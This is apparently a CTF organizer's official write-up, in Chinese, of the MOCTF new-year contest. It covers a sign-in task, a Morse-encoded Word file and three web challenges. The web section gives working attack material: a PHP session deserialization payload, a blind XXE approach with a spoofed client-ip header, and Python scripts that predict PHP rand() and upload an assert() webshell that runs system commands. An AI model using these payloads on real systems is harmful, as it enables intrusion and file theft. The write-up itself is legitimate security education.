抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

从放假到现在筹办准备了接近两个星期的MOCTF新春欢乐赛终于落幕啦,这次比赛我一共出了1签到+1MISC+3WEB,下面先放官方WriteUp(哇终于能当一回官方了)

签到

签到 20

1
2
支付宝今年集齐五福能一起平分多少钱?
flag格式:moctf{数字}

flag:moctf{500000000}

MISC

空word 100

1
真的什么都没有吗

文件是个word
打开看发现一些奇怪的换行和tab

很容易想到是摩斯密码,替换后得到

1
-.... -.. -.... ..-. -.... ...-- --... ....- -.... -.... --... -... ....- ..--- -.... -.-. ...-- ....- -.... . -.... -... ..... ..-. ...-- ----- --... ..--- ..... ..-. --... ....- -.... .---- -.... ..--- ...-- ..-. --... -..

解摩斯密码,然后hex转字符串得到flag

WEB

登录一哈 300

1
2
登录一下,你就知道。
http://111.230.32.124:6001/

源码放到git里泄露给大家了
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();

if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION["username"] = $username;
header("Location:./index.php");
}
else if(isset($_SESSION["username"])){
echo '<h1>hello '.$_SESSION["username"].'</h1>';
}
else ...

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();
class MOCTF{
public $flag;
public $name;
function __destruct(){
$this->flag = "moctf{xxxxxxxxxxxxxxxx}";
if($this->flag == $this->name){
echo "Wow,this is flag:".$this->flag;
}
}
}

看源码就可以知道这道题考查的是session反序列漏洞了
在index.php中php的序列化handler是’php_binary’,而flag.php里没有设置,就是默认的’php’

1
ini_set('session.serialize_handler', 'php_binary');

参考https://blog.spoock.com/2016/10/16/php-serialize-problem/
index.php中的$_session['username']可控,我们就能构造payload到session,
然后访问flag.php页面就能触发反序列化执行__destruct了,
这里还有个考点是$this->flag == $this->name,通过引用的方式绕过。
构造payload

1
2
3
$a = new MOCTF();
$a->name = &$a->flag;
echo '|'.serialize($a);
1
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}

提交到index.php的username,然后访问flag.php就得到flag了

字符串检查 400

1
2
来检查一下你的字符串是否格式良好吧!
http://111.230.32.124:6002/

原意是xxe漏洞读取任意文件
后来知道师傅们卡了很久貌似是因为client-ip的原因,我的锅
题目打开是个json字符串验证的页面,POST包的Content-Type字段是application/json
POST后接口会返回json格式正确或错误的结果
改成application/xml,接口提示只允许本机访问,于是构造

1
client-ip:localhost

然后就是xxe盲打漏洞了,参考https://security.tencent.com/index.php/blog/msg/69
这里我只限制了payload长度为170以内,其实完全可以更短的,希望大佬们可以测试测试
最后flag在/etc/passwd

简单审计 400

1
2
代码都给你了,还说不会做?
http://120.78.57.208:6005/

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
function get_rand_code($l = 6) {
$result = '';
while($l--) {
$result .= chr(rand(ord('a'), ord('z')));
}
return $result;
}

function test_rand_code() {
$ip=$_SERVER['REMOTE_ADDR'];
$code=get_rand_code();
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
@socket_connect($socket, $ip, 8888);
@socket_write($socket, $code.PHP_EOL);
@socket_close($socket);
die('test ok!');
}

function upload($filename, $content,$savepath) {
$AllowedExt = array('bmp','gif','jpeg','jpg','png');
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');
}
$code=get_rand_code();
$finalname=$filename[0].'moctf'.$code.".".end($filename);
file_put_contents("$savepath".$finalname, $content);
usleep(3000000);
unlink("$savepath".$finalname);
die('upload over!');
}

$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
if(!is_dir($savepath)){
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if(isset($_GET['action']))
{
$act=$_GET['action'];
if($act==='upload')
{
$filename=$_POST['filename'];
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
$content=$_POST['content'];
waf($content);
upload($filename,$content,$savepath);
}
else if($act==='test')
{
test_rand_code();
}
}
else {
highlight_file('index.php');
}
?>

解释一下题目的意思
根据action执行对应操作,action=test会调用test_rand_code函数发送tcp包到访客的ip
action=upload时会写入一个文件,文件内容有waf拦截,文件名有白名单限制后缀,
然后拼接文件名加入rand的字符串,写入文件,文件写入后过3秒unlink删除
有问题的点有这几个
1.filename检查是用$filename[count($filename)-1]取的后缀,是按照下标取的,而写入文件时用的是end($filename),是取最后一个元素,只要post时提交filename[1]=jpg&filename[0]=php就能绕过了
2.$content的waf绕过, 绕过即可
3.使用rand()生成随机数,可以被预测,参考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

预期解法是
1.username数组bypass后缀检查,绕过content的waf
2.rand随机数预测+爆破文件名 在unlink之前访问shell
结果大佬们直接非预期解bypass了unlink打扰了
非预期解参考一叶飘零师傅的WriteUp
预期解如下
写两个脚本,
listen.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,
#所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
from socket import *
from time import ctime
import random
import itertools as its
import hashlib

r=req.session()
url="http://120.78.57.208:6005/"


def get_rand_list():
HOST = ''
PORT = 8888
BUFSIZ = 128
ADDR = (HOST, PORT)
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
rand_num=0
l=[]
while True:
tcpCliSock, addr = tcpSerSock.accept()
while True:
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
data=data[0:6]
print data,l
for i in data:
l.append(ord(i)+1-ord('a'))
rand_num+=1
if rand_num==6:
break
tcpCliSock.close()
tcpSerSock.close()
return l

def get_salt(l):
salt=""
for i in range(6):
j=len(l)
r=(l[j-3]+l[j-31])-1
if r>26:
r-=26
#print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
l.append(r)
salt+=chr(r+ord('a')-1)
#print salt
return salt

def get_flag(salt):
s=hashlib.sha1('119.23.73.3').hexdigest()
url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
data={"a":"system('cat ../../flag.php');echo '666666';"}
r2=r.post(url1,data=data)
print salt
if '404' not in r2.text:
print r2.text

get_flag('aaaaaa')
l=get_rand_list()
salt=get_salt(l)
s=0
for i in range(100000):
s=s+1
print s
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])-int(s[j]))
get_flag(salt2)
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])+int(s[j]))
get_flag(salt2)

put.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,
#然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re

r=req.session()
url="http://120.78.57.208:6005/?action="


def get_test():
url2=url+"test"
r1=r.get(url2)
print url2
print r1.text
def upload():
data={"filename[4]":"jpg",
"filename[2]":"jpg",
"filename[1]":"php",
"content":"<script language='php'>assert($_POST[a]);</script>",
"a":"system('cat ../../flag.php');"
}
url1=url+"upload"
r2=r.post(url1,data=data)
print r2.text

for i in range(6):
get_test()
upload()

运行结果如下

感想

讲一下这次比赛我主要干了那些事吧

  1. 出题,如上所述
  2. 平台搭建,用的是ctfd,docker的方式搭建的,省了很多事
  3. 题目部署,除了ping那题,其他的web都是我部署的,尤其是cms那题,反复部署的有点吐,中间有个集大学弟来帮忙,后面比赛的时候还是出了问题
  4. 发布题目,emmmmmmmmmm,用ctfd的时候出现了很神奇的情况,在编辑config的时候使用谷歌的自动翻译,保存之后ctfd的web服务就挂掉啦!是个巨坑,现在还不知道咋回事
  5. 比赛时候的放题,放hint,运维,水群,哈哈哈哈和大佬们玩耍还是很开心的
    放一些后台数据


原来只是想给我们学校和集大的学弟们体验比赛的,不过对外开放也吸引了许多师傅们来做题,虽然运维得很累,但也学到了很多东西(主要是非预期和部署各种奇葩环境)
打一波广告,http://www.moctf.com/
MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。题目形式与各大CTF比赛相同。目的是为两个学校中热爱信息安全的同学们提供一个刷题的平台,能够一起学习、进步。

最后祝大家新年快乐!